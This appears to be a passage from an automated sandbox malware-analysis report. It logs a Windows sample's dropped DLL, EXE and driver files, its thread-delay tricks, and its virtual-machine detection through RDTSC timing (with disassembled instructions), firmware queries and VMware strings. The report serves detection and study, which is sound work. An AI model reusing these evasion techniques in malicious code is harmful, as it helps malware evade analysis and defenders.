Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Program Files (x86)\Google\C2485384.exe	RDTSC instruction interceptor: First address: 4201E3 second address: 4201E3 instructions: 0x00000000 rdtsc 0x00000002 pop ebp 0x00000003 ret 0x00000004 xor edx, edx 0x00000006 mov ecx, 0000003Dh 0x0000000b div ecx 0x0000000d mov eax, dword ptr [ebp-000000B4h] 0x00000013 mov cl, byte ptr [ebp+edx-000000B0h] 0x0000001a mov byte ptr [ebp+eax-70h], cl 0x0000001e jmp 00007F32F4C125D7h 0x00000020 mov edx, dword ptr [ebp-000000B4h] 0x00000026 add edx, 01h 0x00000029 mov dword ptr [ebp-000000B4h], edx 0x0000002f mov eax, dword ptr [ebp-000000B4h] 0x00000035 cmp eax, dword ptr [ebp-04h] 0x00000038 jnl 00007F32F4C12633h 0x0000003a call 00007F32F4BE858Fh 0x0000003f push ebp 0x00000040 mov ebp, esp 0x00000042 rdtsc
Source: C:\Program Files (x86)\Google\C2485384.exe	RDTSC instruction interceptor: First address: 62533F43 second address: 62533F43 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, eax 0x00000004 mov eax, 4325C53Fh 0x00000009 mul ecx 0x0000000b shr edx, 04h 0x0000000e imul edx, edx, 3Dh 0x00000011 sub ecx, edx 0x00000013 mov cl, byte ptr [esp+ecx+6Ch] 0x00000017 mov byte ptr [esp+esi+08h], cl 0x0000001b inc esi 0x0000001c cmp esi, 05h 0x0000001f jl 00007F32F4DCBA81h 0x00000021 rdtsc

Source: C:\Program Files (x86)\Google\C2485384.exe

Memory allocated: 5F90000 memory reserve | memory write watch

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe	Window / User API: threadDelayed 3433	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Window / User API: threadDelayed 6108	Jump to behavior
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 9912

Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\CE8ebUTU.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\FEE303F91\E9A1EEE73.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\A0A461yPs.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\EA56ljmih.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\7361p1CQa.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A39EAB56C\60B31urkm.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\2CE020xu.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\I2DF4C05\2537POKDF.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\A0E0ohaVQ.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\J3E76662C\4858pmjcZ.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Windows\C2485384.sys	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\ED5E0B401A7\FB0C75zus.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\IC58E279CB8\72F551y12.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\BA459E441E\31884z1x0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\D47A8EF7C6\E9BEcVYUT.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\q67hQckB.exe (copy)	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\DD0741\BEE1D5y1w.dll	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\5C55qqtun.dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	Jump to dropped file
Source: C:\Program Files (x86)\Google\C2485384.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\I4F64A1117\AA1F03F\B895AC6\3724rlnjg.dll	Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3232	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3232	Thread sleep time: -3420000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8372	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe TID: 8620	Thread sleep time: -3433000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe TID: 8620	Thread sleep time: -6108000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\ProgramData\Synaptics\Synaptics.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7BA3C FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	17_2_0BB7BA3C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_0BB7622C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	17_2_0BB7622C
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_6254C474 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,	17_2_6254C474

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB773A6 GetSystemInfo,

17_2_0BB773A6

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000008.00000003.1458219180.000002C119147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000006.00000002.3709587943.0000025226E13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: C2485384.exe, 00000011.00000002.3932970599.0000000010A4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
